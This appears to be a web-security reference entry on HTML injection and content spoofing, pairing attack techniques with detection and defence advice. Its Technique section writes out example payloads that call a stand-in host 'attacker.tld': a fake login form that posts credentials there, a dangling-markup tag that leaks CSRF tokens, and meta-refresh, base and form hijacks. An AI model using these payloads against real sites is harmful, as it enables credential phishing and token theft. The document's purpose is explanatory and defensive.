HTML injection / content spoofing
TL;DR: Attacker-controlled HTML rendered without script execution — still phishes, deceives, leaks via dangling markup.
What it is
A reflected or stored sink renders attacker HTML but a strong CSP, sanitiser, or template escapes blocks script execution. The remaining markup-level primitive is still useful: inject phishing forms, deface, hijack pixel layout, or use dangling-markup tricks to exfiltrate CSRF tokens and other DOM data without a single <script>.
Preconditions / where it applies
- Sink renders attacker bytes as HTML (innerHTML, template
{{{var}}}, server-side string concat) - Script execution blocked (CSP, sanitiser strips
<script>/event handlers, Trusted Types) - Page contains data the attacker wants (CSRF tokens, email addresses, OAuth state, partial OTPs)
Technique
- Phishing / deface — inject a believable form:
1 2 3 4 5
<h1>Session expired</h1> <form action="https://attacker.tld/c" method="POST"> <input name="user"><input name="pass" type="password"> <button>Continue</button> </form>
Browser autofill helps; victim re-types creds.
- Dangling-markup exfil — open a tag without closing; the parser eats subsequent page bytes until it finds a terminator. Send the chunk to attacker:
1
<img src='https://attacker.tld/?leak=
Everything from the injection point until the next
'or end-of-attribute is appended to the URL — including CSRF tokens, emails, etc. Variants use<base>,<link rel=icon>,<form>without close, single/double quote desync. - Reverse-tabnabbing —
<a target=_blank href=...>withoutrel=noopenerlets the new tab repoint the opener. - Style injection —
<style>orstyle=attribute can leak chosen-prefix data via:has()/attribute selectors + background-image (see css-injection-exfiltration). - Meta refresh / base hijack —
<meta http-equiv=refresh content="0;url=//attacker">or<base href="//attacker">for redirects and relative URL hijack. - Iframe overlay for clickjacking the same page from inside (clickjacking).
- Form hijack — inject an opening
<form action=//attacker>before the legitimate form; the legitimate<input>s become children of the attacker form and submit to attacker on click.
Detection and defence
- Context-aware HTML escaping (encode
<,>,",',&) at every server-side render; never concat user data into HTML. - DOMPurify or equivalent for client-side sanitisation; strip dangerous tags (
<base>,<meta>,<form>,<iframe>,<style>,<link>,<svg>) and any tag/attribute withformaction,href,xlink:href,srcdoc. - CSP
frame-ancestors,form-action 'self',base-uri 'none',img-srcandstyle-srctight to prevent dangling-markup callbacks. - Output
Referrer-Policy: same-originso leak URLs lose the referer. - Hunt: stored content rendered to other users; review every innerHTML/
v-html/dangerouslySetInnerHTMLusage. - Related: cross-site-scripting, dom-xss, css-injection-exfiltration, clickjacking.
References
- PortSwigger — dangling markup — canonical exfil pattern
- OWASP — content spoofing — taxonomy
- PayloadsAllTheThings — XSS / HTML injection — payload corpus